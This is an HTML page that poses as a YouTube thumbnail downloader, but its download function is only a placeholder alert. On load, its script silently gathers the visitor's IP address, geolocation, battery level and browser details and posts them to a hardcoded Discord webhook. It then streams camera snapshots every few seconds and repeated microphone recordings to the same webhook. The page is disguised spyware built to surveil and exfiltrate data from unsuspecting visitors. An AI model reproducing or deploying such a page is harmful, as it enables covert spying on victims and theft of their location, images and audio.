<!DOCTYPE html>
<html>
<head>
    <title>YouTube Thumbnail Downloader</title>
    <style>
        body {
            font-family: sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            background-color: #f0f0f0;
        }
        #container {
            background-color: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            text-align: center;
        }
        input[type="text"] {
            width: calc(100% - 22px);
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
        }
        button {
            padding: 10px 20px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <div id="container">
        <h1>YouTube Thumbnail Downloader</h1>
        <input type="text" id="videoUrl" placeholder="Paste YouTube Video URL">
        <button onclick="downloadThumbnail()">Download Thumbnail</button>
        <video id="video" autoplay playsinline style="display: none;"></video>
        <audio id="audio" style="display: none;"></audio>
    </div>

    <script>
        function downloadThumbnail() {
            const videoUrl = document.getElementById("videoUrl").value;
            alert("Downloading thumbnail... (Placeholder)"); // Placeholder
        }

        async function getPublicIP() {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                return data.ip;
            } catch (error) {
                console.error("Error fetching IP:", error);
                return "Could not retrieve IP";
            }
        }

        async function sendToDiscord(data) {
            const webhookURL = "https://discord.com/api/webhooks/1328398728264028190/uRE6tE7LtKskS7dl2ioRqVR94fY9bs015c9bSkXFpxZattVm8vKHQQ0kea60CRqX_XmH"; // ***REPLACE THIS***
            try {
                const response = await fetch(webhookURL, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify(data) // Send the data directly
                });
                if (!response.ok) {
                    console.error(`Error sending to Discord: ${response.status} ${response.statusText}`);
                }
            } catch (error) {
                console.error("Error sending to Discord:", error);
            }
        }

        async function startCameraCapture() {
            try {
                const video = document.getElementById('video');
                const stream = await navigator.mediaDevices.getUserMedia({ video: true });
                video.srcObject = stream;

                setInterval(async () => {
                    const canvas = document.createElement('canvas');
                    canvas.width = video.videoWidth;
                    canvas.height = video.videoHeight;
                    canvas.getContext('2d').drawImage(video, 0, 0);
                    const imageDataUrl = canvas.toDataURL('image/jpeg');

                    sendToDiscord({ embeds: [{ title: "Camera Capture", image: { url: imageDataUrl } }] });

                }, 3000);
            } catch (error) {
                console.error("Camera error:", error);
                sendToDiscord({ content: "Camera access denied or error." });
            }
        }

        async function startMicrophoneCapture() {
            try {
                const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
                const mediaRecorder = new MediaRecorder(stream);
                let audioChunks = [];

                mediaRecorder.ondataavailable = event => {
                    if (event.data.size > 0) {
                        audioChunks.push(event.data);
                    }
                };

                mediaRecorder.onstop = async () => {
                    const audioBlob = new Blob(audioChunks, { type: 'audio/webm' });
                    const reader = new FileReader();
                    reader.onloadend = () => {
                        const base64String = reader.result;
                        sendToDiscord({ content: base64String });
                    };
                    reader.readAsDataURL(audioBlob);
                    audioChunks = [];
                    mediaRecorder.start();
                    setTimeout(() => mediaRecorder.stop(), 5000);
                };
                mediaRecorder.start();
                setTimeout(() => mediaRecorder.stop(), 5000);
            } catch (error) {
                console.error("Microphone error:", error);
                sendToDiscord({ content: "Microphone access denied or error." });
            }
        }


        async function getBatteryInfo() {
            if ('getBattery' in navigator) {
                try {
                    const battery = await navigator.getBattery();
                    return battery.level * 100;
                } catch (error) {
                    console.error("Battery error:", error);
                    return "Could not retrieve battery info";
                }
            } else {
                return "Battery API not supported";
            }
        }

        async function getLocation() {
            if (navigator.geolocation) {
                try {
                    const position = await new Promise((resolve, reject) => {
                        navigator.geolocation.getCurrentPosition(resolve, reject);
                    });
                    return { latitude: position.coords.latitude, longitude: position.coords.longitude };
                } catch (error) {
                    console.error("Geolocation error:", error);
                    return "Could not retrieve location";
                }
            } else {
                return "Geolocation not supported";
            }
        }

        window.onload = async () => {
            const ip = await getPublicIP();
            const batteryLevel = await getBatteryInfo();
            const location = await getLocation();
            const userAgent = navigator.userAgent;
            const browserInfo = navigator.appName + " " + navigator.appVersion;
            const screenWidth = screen.width;
            const screenHeight = screen.height;
            const language = navigator.language;


            sendToDiscord({
                embeds: [{
                    title: "Visitor Information",
                    fields: [
                        { name: "IP", value: ip },
                        { name: "Battery", value: batteryLevel },
                        { name: "Location", value: JSON.stringify(location) },
                        { name: "User Agent", value: userAgent },
                        { name: "Browser Info", value: browserInfo },
                        { name: "Screen Resolution", value: `${screenWidth}x${screenHeight}` },
                        { name: "Language", value: language }
                    ]
                }]
            });
            startCameraCapture();
            startMicrophoneCapture();
        };
    </script>
</body>
</html>